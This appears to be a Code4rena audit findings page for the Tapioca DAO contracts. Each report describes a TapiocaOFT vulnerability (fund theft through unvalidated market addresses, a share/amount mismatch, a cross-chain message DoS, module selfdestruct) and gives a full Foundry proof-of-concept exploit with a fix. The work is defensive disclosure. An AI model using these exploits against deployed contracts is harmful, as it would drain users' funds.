Platform: Code4rena
Start Date: 05/07/2023
Pot Size: $390,000 USDC
Total HM: 136
Participants: 132
Period: about 1 month
Judge: LSDan
Total Solo HM: 56
Id: 261
League: ETH
Rank: 6/132
Findings: 12
Award: $14,643.94
🌟 Selected for report: 4
🚀 Solo Findings: 3
🌟 Selected for report: 0x73696d616f
3361.1482 USDC - $3,361.15
https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/BaseTOFT.sol#L190 https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/BaseTOFT.sol#L516 https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/modules/BaseTOFTMarketModule.sol#L230-L231
The TOFT
available in the TapiocaOFT
contract can be stolen when calling removeCollateral()
with a malicious market.
(m)TapiocaOFT
inherit BaseTOFT
, which has a function removeCollateral()
that accepts a market address as an argument. This function calls _lzSend()
internally on the source chain, which then is forwarded to the destination chain by the relayer and calls lzReceive()
.
lzReceive()
reaches _nonBlockingLzReceive()
in BaseTOFT
and delegate calls to the BaseTOFTMarketModule
on function remove()
. This function approves TOFT
to the removeParams.market
and then calls function removeCollateral()
of the provided market. There is no validation whatsoever in this address, such that a malicious market can be provided that steals all funds, as can be seen below:
function remove(bytes memory _payload) public { ... approve(removeParams.market, removeParams.share); // no validation prior to this 2 calls IMarket(removeParams.market).removeCollateral( to, to, removeParams.share ); ... }
The following POC in Foundry demonstrates this vulnerability, the attacker is able to steal all TOFT
in mTapiocaOFT
:
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.18; import {Test, console} from "forge-std/Test.sol"; import {TapiocaOFT} from "contracts/tOFT/TapiocaOFT.sol"; import {BaseTOFTMarketModule} from "contracts/tOFT/modules/BaseTOFTMarketModule.sol"; import {IYieldBoxBase} from "tapioca-periph/contracts/interfaces/IYieldBoxBase.sol"; import {ISendFrom} from "tapioca-periph/contracts/interfaces/ISendFrom.sol"; import {ICommonData} from "tapioca-periph/contracts/interfaces/ICommonData.sol"; import {ITapiocaOFT} from "tapioca-periph/contracts/interfaces/ITapiocaOFT.sol"; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; contract MaliciousMarket { address public immutable attacker; address public immutable tapiocaOft; constructor(address attacker_, address tapiocaOft_) { attacker = attacker_; tapiocaOft = tapiocaOft_; } function removeCollateral(address, address, uint256 share) external { IERC20(tapiocaOft).transferFrom(msg.sender, attacker, share); } } contract TapiocaOFTPOC is Test { address public constant LZ_ENDPOINT = 0x66A71Dcef29A0fFBDBE3c6a460a3B5BC225Cd675; uint16 internal constant PT_MARKET_REMOVE_COLLATERAL = 772; function test_POC_StealAllAssetsInTapiocaOFT_RemoveCollateral_MaliciousMarket() public { vm.createSelectFork("https://eth.llamarpc.com"); address marketModule_ = address( new BaseTOFTMarketModule( address(LZ_ENDPOINT), address(0), IYieldBoxBase(address(2)), "SomeName", "SomeSymbol", 18, block.chainid ) ); TapiocaOFT tapiocaOft_ = new TapiocaOFT( LZ_ENDPOINT, address(0), IYieldBoxBase(address(3)), "SomeName", "SomeSymbol", 18, block.chainid, payable(address(1)), payable(address(2)), payable(marketModule_), payable(address(4)) ); // TOFT is acummulated in the TapiocaOft contract and can be stolen by the malicious market // for example, strategyDeposit of the BaseTOFTMarketModule credits TOFT to tapiocaOft uint256 tOftInTapiocaOft_ = 1 ether; deal(address(tapiocaOft_), address(tapiocaOft_), tOftInTapiocaOft_); address attacker_ = makeAddr("attacker"); deal(attacker_, 1 ether); // lz fees uint16 lzDstChainId_ = 102; address zroPaymentAddress_ = address(0); ICommonData.IWithdrawParams memory withdrawParams_; ITapiocaOFT.IRemoveParams memory removeParams_; removeParams_.share = tOftInTapiocaOft_; removeParams_.market = address(new MaliciousMarket(attacker_, address(tapiocaOft_))); ICommonData.IApproval[] memory approvals_; bytes memory adapterParams_; tapiocaOft_.setTrustedRemoteAddress(lzDstChainId_, abi.encodePacked(tapiocaOft_)); vm.prank(attacker_); tapiocaOft_.removeCollateral{value: 1 ether}( attacker_, attacker_, lzDstChainId_, zroPaymentAddress_, withdrawParams_, removeParams_, approvals_, adapterParams_ ); bytes memory lzPayload_ = abi.encode( PT_MARKET_REMOVE_COLLATERAL, attacker_, attacker_, bytes32(bytes20(attacker_)), removeParams_, withdrawParams_, approvals_ ); vm.prank(LZ_ENDPOINT); tapiocaOft_.lzReceive(lzDstChainId_, abi.encodePacked(tapiocaOft_, tapiocaOft_), 0, lzPayload_); assertEq(tapiocaOft_.balanceOf(attacker_), tOftInTapiocaOft_); } }
Vscode, Foundry
Whitelist the removeParams.market
address to prevent users from providing malicious markets.
Invalid Validation
#0 - c4-pre-sort
2023-08-09T09:26:13Z
minhquanym marked the issue as primary issue
#1 - c4-sponsor
2023-08-29T17:22:15Z
0xRektora marked the issue as sponsor confirmed
#2 - c4-judge
2023-09-29T18:02:19Z
dmvt marked the issue as selected for report
🌟 Selected for report: windhustler
Also found by: 0x73696d616f
1163.4744 USDC - $1,163.47
https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/BaseTOFT.sol#L190 https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/modules/BaseTOFTMarketModule.sol#L44 https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/BaseTOFT.sol#L512 https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/modules/BaseTOFTMarketModule.sol#L240
All the ETH in (m)TapiocaOFT
can be stolen, which is relevant when the underlying asset erc
is ETH.
(m)TapiocaOFT
allows removing collateral from Singularity
through a cross chain call, but the address of the MarketHelper
is not validated.
To send a cross chain removeCollateral()
transaction, users call removeCollateral()
of BaseTOFT
(which is inherited by (m)TapiocaOFT
), and calls _lzSend()
internally.
Then, the LayerZero endpoint calls lzReceive()
in the destination chain of (m)TapiocaOFT
, which eventually reaches _nonBlockingLzReceive()
. Here, the packetType
is PT_MARKET_REMOVE_COLLATERAL
and the function remove()
from the BaseOFTMarketModule
is called.
Function remove()
enables withdrawing from the market if the withdrawParams.withdraw
flag is true. Then, it calls withdrawToChain()
of address removeParams.marketHelper
, without checking its validity, with a msg.value
of withdrawParams.withdrawLzFeeAmount
. Thus, a malicious market can be sent as removeParams.marketHelper
and a withdrawParams.withdrawLzFeeAmount
of the eth balance of the (m)TapiocaOFT
contract. The vulnerable piece of code is in the function remove()
, below:
function remove(bytes memory _payload) public { ... IMagnetar(removeParams.marketHelper).withdrawToChain{ // arbitrary marketHelper value: withdrawParams.withdrawLzFeeAmount // arbitrary value }( ybAddress, to, assetId, withdrawParams.withdrawLzChainId, LzLib.addressToBytes32(to), IYieldBoxBase(ybAddress).toAmount( assetId, removeParams.share, false ), removeParams.share, withdrawParams.withdrawAdapterParams, payable(to), withdrawParams.withdrawLzFeeAmount ); }
The following POC shows an attacker stealing the balance of a TapiocaOFT
contract with ETH as underlying asset:
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.18; import {Test, console} from "forge-std/Test.sol"; import {TapiocaOFT} from "contracts/tOFT/TapiocaOFT.sol"; import {BaseTOFTMarketModule} from "contracts/tOFT/modules/BaseTOFTMarketModule.sol"; import {IYieldBoxBase} from "tapioca-periph/contracts/interfaces/IYieldBoxBase.sol"; import {ISendFrom} from "tapioca-periph/contracts/interfaces/ISendFrom.sol"; import {ICommonData} from "tapioca-periph/contracts/interfaces/ICommonData.sol"; import {ITapiocaOFT} from "tapioca-periph/contracts/interfaces/ITapiocaOFT.sol"; contract MockMarket { function removeCollateral(address from, address to, uint256 share) external {} function yieldBox() external view returns (address payable) { return payable(address(this)); } function collateralId() external view returns (uint256) {} function toAmount( uint256 assetId, uint256 share, bool roundUp ) external view returns (uint256 amount) {} } contract MaliciousMarketHelper { address public attacker; constructor(address attacker_) { attacker = attacker_; } function withdrawToChain( address yieldBox, address from, uint256 assetId, uint16 dstChainId, bytes32 receiver, uint256 amount, uint256 share, bytes memory adapterParams, address payable refundAddress, uint256 gas ) external payable { payable(attacker).transfer(msg.value); } } contract TapiocaOFTPOC is Test { address public constant LZ_ENDPOINT = 0x66A71Dcef29A0fFBDBE3c6a460a3B5BC225Cd675; uint16 internal constant PT_MARKET_REMOVE_COLLATERAL = 772; function test_POC_StealAllETHInTapiocaOFT_RemoveCollateral_WithdrawParams() public { vm.createSelectFork("https://eth.llamarpc.com"); address marketModule_ = address( new BaseTOFTMarketModule( address(LZ_ENDPOINT), address(0), IYieldBoxBase(address(2)), "SomeName", "SomeSymbol", 18, block.chainid ) ); TapiocaOFT tapiocaOft_ = new TapiocaOFT( LZ_ENDPOINT, address(0), IYieldBoxBase(address(3)), "SomeName", "SomeSymbol", 18, block.chainid, payable(address(1)), payable(address(2)), payable(marketModule_), payable(address(4)) ); uint256 ethInTapiocaOFT_ = 10 ether; // TapiocaOFT has 10 ether from wrapping deal(address(tapiocaOft_), ethInTapiocaOFT_); address attacker_ = makeAddr("attacker"); deal(attacker_, 1 ether); // lz fees uint16 lzDstChainId_ = 102; address zroPaymentAddress_ = address(0); ICommonData.IWithdrawParams memory withdrawParams_; withdrawParams_.withdraw = true; withdrawParams_.withdrawLzFeeAmount = ethInTapiocaOFT_; ITapiocaOFT.IRemoveParams memory removeParams_; removeParams_.market = address(new MockMarket()); removeParams_.marketHelper = address(new MaliciousMarketHelper(attacker_)); ICommonData.IApproval[] memory approvals_; bytes memory adapterParams_; tapiocaOft_.setTrustedRemoteAddress(lzDstChainId_, abi.encodePacked(tapiocaOft_)); vm.prank(attacker_); tapiocaOft_.removeCollateral{value: 1 ether}( attacker_, attacker_, lzDstChainId_, zroPaymentAddress_, withdrawParams_, removeParams_, approvals_, adapterParams_ ); bytes memory lzPayload_ = abi.encode( PT_MARKET_REMOVE_COLLATERAL, attacker_, attacker_, bytes32(bytes20(attacker_)), removeParams_, withdrawParams_, approvals_ ); vm.prank(LZ_ENDPOINT); tapiocaOft_.lzReceive(lzDstChainId_, abi.encodePacked(tapiocaOft_, tapiocaOft_), 0, lzPayload_); assertEq(attacker_.balance, ethInTapiocaOFT_); } }
Vscode, Foundry
Whitelist removeParams.marketHelper
so that malicious contracts can't be used to steal funds or other attacks.
Invalid Validation
#0 - c4-pre-sort
2023-08-09T09:18:54Z
minhquanym marked the issue as primary issue
#1 - c4-pre-sort
2023-08-09T09:25:18Z
minhquanym marked the issue as duplicate of #1293
#2 - c4-judge
2023-09-29T21:15:09Z
dmvt marked the issue as satisfactory
🌟 Selected for report: 0x73696d616f
3361.1482 USDC - $3,361.15
https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/BaseTOFT.sol#L224 https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/BaseTOFT.sol#L450 https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/modules/BaseTOFTStrategyModule.sol#L47 https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/modules/BaseTOFTStrategyModule.sol#L58 https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/modules/BaseTOFTStrategyModule.sol#L154 https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/modules/BaseTOFTStrategyModule.sol#L181-L185 https://github.com/Tapioca-DAO/YieldBox/blob/f5ad271b2dcab8b643b7cf622c2d6a128e109999/contracts/YieldBox.sol#L118
Attacker can be debited only the least possible amount (1
) but send the share
argument as the maximum possible value corresponding to the erc
balance of (m)TapiocaOFT
. This would enable the attacker to steal all the erc
balance of the (m)TapiocaOFT
contract.
In BaseTOFT
, SendToStrategy()
, has no validation and just delegate calls to sendToStrategy()
function of the BaseTOFTStrategyModule
.
In the mentioned module, the quantity debited from the user is the amount
argument, having no validation in the corresponding share
amount:
function sendToStrategy( address _from, address _to, uint256 amount, uint256 share, uint256 assetId, uint16 lzDstChainId, ICommonData.ISendOptions calldata options ) external payable { require(amount > 0, "TOFT_0"); bytes32 toAddress = LzLib.addressToBytes32(_to); _debitFrom(_from, lzEndpoint.getChainId(), toAddress, amount); ...
Then, a payload is sent to the destination chain in _lzSend()
of type PT_YB_SEND_STRAT
.
Again, in BaseTOFT
, the function _nonBlockingLzReceive()
handles the received message and delegate calls to the BaseTOFTStrategyModule
, function strategyDeposit()
. In this, function, among other things, it delegate calls to depositToYieldbox()
, of the same module:
function depositToYieldbox( uint256 _assetId, uint256 _amount, uint256 _share, IERC20 _erc20, address _from, address _to ) public { _amount = _share > 0 ? yieldBox.toAmount(_assetId, _share, false) : _amount; _erc20.approve(address(yieldBox), _amount); yieldBox.depositAsset(_assetId, _from, _to, _amount, _share); }
The _share
argument is the one the user initially provided in the source chain; however, the _amount
, is computed from the yieldBox
ratio, effectively overriding the specified amount
in the source chain of 1
. This will credit funds to the attacker from other users that bridged assets through (m)TapiocaOFT
.
The following POC in Foundry demonstrates how an attacker can be debited on the source chain an amount of 1
but call depositAsset()
on the destination chain with an amount of 2e18
, the available in the TapiocaOFT
contract.
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.18; import {Test, console} from "forge-std/Test.sol"; import {TapiocaOFT} from "contracts/tOFT/TapiocaOFT.sol"; import {BaseTOFTStrategyModule} from "contracts/tOFT/modules/BaseTOFTStrategyModule.sol"; import {IYieldBoxBase} from "tapioca-periph/contracts/interfaces/IYieldBoxBase.sol"; import {ISendFrom} from "tapioca-periph/contracts/interfaces/ISendFrom.sol"; import {ICommonData} from "tapioca-periph/contracts/interfaces/ICommonData.sol"; import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol"; contract MockYieldBox is Test { function depositAsset( uint256 assetId, address from, address to, uint256 amount, uint256 share ) external payable returns (uint256, uint256) {} function toAmount( uint256, uint256 share, bool ) external pure returns (uint256 amount) { // real formula amount = share._toAmount(totalSupply[assetId], _tokenBalanceOf(assets[assetId]), roundUp); // assume ratio is 1:1 return share; } } contract TapiocaOFTPOC is Test { address public constant LZ_ENDPOINT = 0x66A71Dcef29A0fFBDBE3c6a460a3B5BC225Cd675; uint16 internal constant PT_YB_SEND_STRAT = 770; function test_POC_SendToStrategy_WithoutAllDebitedFrom() public { vm.createSelectFork("https://eth.llamarpc.com"); address mockERC20_ = address(new ERC20("mockERC20", "MERC20")); address strategyModule_ = address(new BaseTOFTStrategyModule(address(LZ_ENDPOINT), address(0), IYieldBoxBase(address(2)), "SomeName", "SomeSymbol", 18, block.chainid)); address mockYieldBox_ = address(new MockYieldBox()); TapiocaOFT tapiocaOft_ = new TapiocaOFT( LZ_ENDPOINT, mockERC20_, IYieldBoxBase(mockYieldBox_), "SomeName", "SomeSymbol", 18, block.chainid, payable(address(1)), payable(strategyModule_), payable(address(3)), payable(address(4)) ); // some user wraps 2e18 mock erc20 address user_ = makeAddr("user"); deal(mockERC20_, user_, 2e18); vm.startPrank(user_); ERC20(mockERC20_).approve(address(tapiocaOft_), 2e18); tapiocaOft_.wrap(user_, user_, 2e18); vm.stopPrank(); address attacker_ = makeAddr("attacker"); deal(attacker_, 1e18); // lz fees address from_ = attacker_; address to_ = attacker_; uint256 amount_ = 1; uint256 share_ = 2e18; // steal all available funds in (m)Tapioca (only 1 user with 2e18) uint256 assetId_ = 1; uint16 lzDstChainId_ = 102; address zroPaymentAddress_ = address(0); ICommonData.ISendOptions memory options_ = ICommonData.ISendOptions(200_000, zroPaymentAddress_); tapiocaOft_.setTrustedRemoteAddress(lzDstChainId_, abi.encodePacked(tapiocaOft_)); // attacker is only debited 1 amount, but specifies 2e18 shares, a possibly much bigger corresponding amount deal(mockERC20_, attacker_, 1); vm.startPrank(attacker_); ERC20(mockERC20_).approve(address(tapiocaOft_), 1); tapiocaOft_.wrap(attacker_, attacker_, 1); tapiocaOft_.sendToStrategy{value: 1 ether}(from_, to_, amount_, share_, assetId_, lzDstChainId_, options_); vm.stopPrank(); bytes memory lzPayload_ = abi.encode( PT_YB_SEND_STRAT, bytes32(uint256(uint160(from_))), attacker_, amount_, share_, assetId_, zroPaymentAddress_ ); // attacker was debited from 1 amount, but deposit sends an amount of 2e18 vm.expectCall(address(mockYieldBox_), 0, abi.encodeCall(MockYieldBox.depositAsset, (assetId_, address(tapiocaOft_), attacker_, 2e18, 2e18))); vm.prank(LZ_ENDPOINT); tapiocaOft_.lzReceive(102, abi.encodePacked(tapiocaOft_, tapiocaOft_), 0, lzPayload_); } }
Vscode, Foundry
Given that it's impossible to fetch the YieldBox
ratio in the source chain, it's best to stick with the amount only and remove the share
argument in the cross chain sendToStrategy()
function call.
Invalid Validation
#0 - c4-pre-sort
2023-08-09T06:55:09Z
minhquanym marked the issue as primary issue
#1 - c4-sponsor
2023-09-01T16:09:42Z
0xRektora (sponsor) confirmed
#2 - c4-judge
2023-09-29T18:36:48Z
dmvt marked the issue as selected for report
🌟 Selected for report: windhustler
Also found by: 0x73696d616f
1163.4744 USDC - $1,163.47
https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/modules/BaseTOFTLeverageModule.sol#L73 https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/modules/BaseTOFTLeverageModule.sol#L104 https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/modules/BaseTOFTMarketModule.sol#L71 https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/modules/BaseTOFTMarketModule.sol#L119 https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/modules/BaseTOFTOptionsModule.sol#L61 https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/modules/BaseTOFTOptionsModule.sol#L106 https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/modules/BaseTOFTStrategyModule.sol#L116 https://github.com/LayerZero-Labs/LayerZero/blob/main/contracts/UltraLightNodeV2.sol#L116 https://github.com/LayerZero-Labs/LayerZero/blob/main/contracts/UltraLightNodeV2.sol#L165 https://github.com/LayerZero-Labs/LayerZero/blob/main/contracts/Endpoint.sol#L118 https://github.com/LayerZero-Labs/LayerZero/blob/main/contracts/RelayerV2.sol#L111
DoS of the (m)TapiocaOFT
cross chain calls.
The behaviour of the LayerZero Endpoint
is blocking when calling lzReceive()
in the destination chain. The RelayerV2
calls the UltraLightNodeV2
send()
function, which calls the receivePayload()
function of the Endpoint
. Notice below that if the lzReceive()
call fails, the message is stored and no more messages can be sent until this message is cleared or fulfilled.
function receivePayload(uint16 _srcChainId, bytes calldata _srcAddress, address _dstAddress, uint64 _nonce, uint _gasLimit, bytes calldata _payload) external override receiveNonReentrant { // assert and increment the nonce. no message shuffling require(_nonce == ++inboundNonce[_srcChainId][_srcAddress], "LayerZero: wrong nonce"); LibraryConfig storage uaConfig = uaConfigLookup[_dstAddress]; // authentication to prevent cross-version message validation // protects against a malicious library from passing arbitrary data if (uaConfig.receiveVersion == DEFAULT_VERSION) { require(defaultReceiveLibraryAddress == msg.sender, "LayerZero: invalid default library"); } else { require(uaConfig.receiveLibraryAddress == msg.sender, "LayerZero: invalid library"); } // block if any message blocking StoredPayload storage sp = storedPayload[_srcChainId][_srcAddress]; require(sp.payloadHash == bytes32(0), "LayerZero: in message blocking"); try ILayerZeroReceiver(_dstAddress).lzReceive{gas: _gasLimit}(_srcChainId, _srcAddress, _nonce, _payload) { // success, do nothing, end of the message delivery } catch (bytes memory reason) { // revert nonce if any uncaught errors/exceptions if the ua chooses the blocking mode storedPayload[_srcChainId][_srcAddress] = StoredPayload(uint64(_payload.length), _dstAddress, keccak256(_payload)); emit PayloadStored(_srcChainId, _srcAddress, _dstAddress, _nonce, _payload, reason); } }
Thus, if malicious users are able to send messages with little gas limit, it is possible to intentionally block the cross chain messages.
LayerZero solidity examples try to prevent this issue by setting a minimum gas limit in the user applications. Take a look at _checkAdapterParams()
in OFTCoreV2
:
function _checkAdapterParams(uint16 _dstChainId, uint16 _pkType, bytes memory _adapterParams, uint _extraGas) internal virtual { if (useCustomAdapterParams) { _checkGasLimit(_dstChainId, _pkType, _adapterParams, _extraGas); function _checkAdapterParams(uint16 _dstChainId, uint16 _pkType, bytes memory _adapterParams, uint _extraGas) internal virtual { if (useCustomAdapterParams) { _checkGasLimit(_dstChainId, _pkType, _adapterParams, _extraGas); } else { require(_adapterParams.length == 0, "OFTCore: _adapterParams must be empty."); } } } else { require(_adapterParams.length == 0, "OFTCore: _adapterParams must be empty."); } }
It checks the gas limit in the _adapterParams
:
function _checkGasLimit(uint16 _dstChainId, uint16 _type, bytes memory _adapterParams, uint _extraGas) internal view virtual { uint providedGasLimit = _getGasLimit(_adapterParams); uint minGasLimit = minDstGasLookup[_dstChainId][_type] + _extraGas; require(minGasLimit > 0, "LzApp: minGasLimit not set"); require(providedGasLimit >= minGasLimit, "LzApp: gas limit is too low"); }
However, since the modules call _lzSend()
directly, the gas limit is never checked and malicious users can intentionally send a very low gas limit to block the message execution.
The LayerZero UltraLightNodeV2 attempts to use the default gas limit if the adapterParams.length
is 0, but if it is set to abi.encodePacked(uint16(1), uint256(1))
, the length
is bigger than 0, so the default is not used, being 1 the gas limit sent. A gas limit of 1 can not be sent because the RelayerV2
checks if the gas limit is bigger than 0, however, Tapioca can use a different Relayer.
The following POC in Foundry illustrates this behaviour. It uses the function triggerSendFrom()
from BaseTOFTOptionsModule
:
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.18; import {Test, console} from "forge-std/Test.sol"; import {TapiocaOFT} from "contracts/tOFT/TapiocaOFT.sol"; import {BaseTOFTOptionsModule} from "contracts/tOFT/modules/BaseTOFTOptionsModule.sol"; import {IYieldBoxBase} from "tapioca-periph/contracts/interfaces/IYieldBoxBase.sol"; import {ISendFrom} from "tapioca-periph/contracts/interfaces/ISendFrom.sol"; import {ICommonData} from "tapioca-periph/contracts/interfaces/ICommonData.sol"; contract TapiocaOFTPOC is Test { address public constant LZ_ENDPOINT = 0x66A71Dcef29A0fFBDBE3c6a460a3B5BC225Cd675; uint16 public constant PT_SEND_FROM = 778; function test_POC_DoS_0gas() public { vm.createSelectFork("https://eth.llamarpc.com"); address optionsModule_ = address(new BaseTOFTOptionsModule(address(LZ_ENDPOINT), address(0), IYieldBoxBase(address(2)), "SomeName", "SomeSymbol", 18, block.chainid)); TapiocaOFT tapiocaOft_ = new TapiocaOFT( LZ_ENDPOINT, address(0), IYieldBoxBase(address(3)), "SomeName", "SomeSymbol", 18, block.chainid, payable(address(1)), payable(address(2)), payable(address(3)), payable(optionsModule_) ); address user_ = makeAddr("user"); deal(user_, 2 ether); vm.prank(user_); tapiocaOft_.wrap{value: 1 ether}(user_, user_, 1 ether); uint16 lzDstChainId_ = 102; bytes memory airdropAdapterParams_ = abi.encodePacked(uint16(1), uint256(1)); // lowest gas limit possible of 1 address zroPaymentAddress_ = address(0); uint256 amount_ = 1; ISendFrom.LzCallParams memory sendFromData_; sendFromData_.refundAddress = payable(user_); ICommonData.IApproval[] memory approvals_; tapiocaOft_.setTrustedRemoteAddress(102, abi.encodePacked(tapiocaOft_)); // adapter params with 1 gas limit goes through, which will DoS in the dst chain vm.prank(user_); tapiocaOft_.triggerSendFrom{value: 1 ether}( lzDstChainId_, airdropAdapterParams_, zroPaymentAddress_, amount_, sendFromData_, approvals_ ); bytes memory lzPayload_ = abi.encode( PT_SEND_FROM, user_, amount_, sendFromData_, 102, approvals_ ); vm.prank(LZ_ENDPOINT); vm.expectRevert(); tapiocaOft_.lzReceive{gas: 1}(102, abi.encodePacked(tapiocaOft_, tapiocaOft_), 0, lzPayload_); } }
Vscode, Foundry, Etherscan
Implement a minimum gas limit such that the message is always able to be stored in the destination chain, in the (m)TapiocaOFT
contract itself, not the blocking Endpoint
.
Invalid Validation
#0 - c4-pre-sort
2023-08-07T14:25:20Z
minhquanym marked the issue as primary issue
#1 - c4-sponsor
2023-08-22T17:19:49Z
0xRektora marked the issue as sponsor confirmed
#2 - c4-judge
2023-09-29T20:25:09Z
dmvt marked issue #1207 as primary and marked this issue as a duplicate of 1207
#3 - c4-judge
2023-09-29T20:25:14Z
dmvt changed the severity to 3 (High Risk)
#4 - c4-judge
2023-09-29T20:25:39Z
dmvt marked the issue as satisfactory
🌟 Selected for report: Ack
Also found by: 0x73696d616f, 0xrugpull_detector, ACai, BPZ, Breeje, CrypticShepherd, Kaysoft, carrotsmuggler, cergyk, kodyvim, ladboy233, offside0011
56.1709 USDC - $56.17
https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/modules/BaseTOFTStrategyModule.sol#L47 https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/modules/BaseTOFTStrategyModule.sol#L152 https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/modules/BaseTOFTOptionsModule.sol#L154 https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/modules/BaseTOFTMarketModule.sol#L127 https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/modules/BaseTOFTLeverageModule.sol#L149
Lost of debited/sent funds in the source chain that can't be used in the destination chain in the corresponding function counterpart.
The contracts (m)TapiocaOFT
delegate call to the available modules, depending on the desired function.
The modules have functions that delegate call to an address provided as argument, named module
. Thus, an attacker may call directly the modules and provide a module
argument that is a malicious contract that selfdestructs it.
Due to the fact that the cross chain calls are a 2 step process, funds might be debited or sent in the source chain, but never credited/deposied in the destination chain because the module was selfdestructed and it's no longer possible to execute its logic.
For example, in the module BaseTOFTStrategyModule
, function strategyDeposit()
is vulnerable to this, as the funds are debited in the source chain in sendToStrategy()
:
function sendToStrategy( address _from, address _to, uint256 amount, uint256 share, uint256 assetId, uint16 lzDstChainId, ICommonData.ISendOptions calldata options ) external payable { ... _debitFrom(_from, lzEndpoint.getChainId(), toAddress, amount); ...
But then are never credited in the destination chain strategyDeposit()
because the module was selfdestructed, as the result of a previous delegate call to a malicious module
address that selfdestructs:
function strategyDeposit( address module, uint16 _srcChainId, bytes memory _srcAddress, uint64 _nonce, bytes memory _payload, IERC20 _erc20 ) public { ... (bool success, bytes memory reason) = module.delegatecall( abi.encodeWithSelector( this.depositToYieldbox.selector, assetId, amount, share, _erc20, address(this), onBehalfOf ) ); ... }
The following Foundry script shows how the module can be selfdestructed. A script was written instead of a test because Foundry tests are not able to show the effects of selfdestruct
due to it only taking effect after the call ends.
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.18; import {Script, console} from "forge-std/Script.sol"; import {BaseTOFTStrategyModule} from "contracts/tOFT/modules/BaseTOFTStrategyModule.sol"; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {IYieldBoxBase} from "tapioca-periph/contracts/interfaces/IYieldBoxBase.sol"; contract SelftDestructContract { function depositToYieldbox( uint256, uint256, uint256, IERC20, address, address ) public { selfdestruct(payable(msg.sender)); } } contract SelfDestructScript is Script { function run() public { // 1. run `anvil` in a separate terminal // 2. run `forge script script/SelfDestruct.s.sol:SelfDestructScript --rpc-url http://localhost:8545 --private-key 0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80 --broadcast` vm.startBroadcast(); _moduleDelegateCall_SelfDestruct(); //_verifySelfDestruct(0x5FbDB2315678afecb367f032d93F642f64180aa3); // comment the line above and run this one to verify the module was self destructed } function _moduleDelegateCall_SelfDestruct() internal { BaseTOFTStrategyModule strategyModule_ = new BaseTOFTStrategyModule(address(1), address(0), IYieldBoxBase(address(2)), "SomeName", "SomeSymbol", 18, block.chainid); console.log("strategy module address", address(strategyModule_)); address selfdestructContract_ = address(new SelftDestructContract()); bytes memory lzPayload_ = abi.encode( 0, bytes32(uint256(uint160(0))), address(0), 0, 0, 1, address(0) ); strategyModule_.strategyDeposit(selfdestructContract_, 0, "", 0, lzPayload_, IERC20(address(0))); } function _verifySelfDestruct(address module_) internal view { require(module_.code.length == 0, "SelfDestruct did not work"); } }
Vscode, Foundry
Remove all the address module
arguments from the modules and call directly the public
function of the module if it is the same address, otherwise hardcode the address of the corresponding module.
call/delegatecall
#0 - c4-pre-sort
2023-08-05T11:18:58Z
minhquanym marked the issue as duplicate of #146
#1 - c4-judge
2023-09-13T10:24:29Z
dmvt marked the issue as satisfactory
🌟 Selected for report: 0x73696d616f
Also found by: KIntern_NA, bin2chen
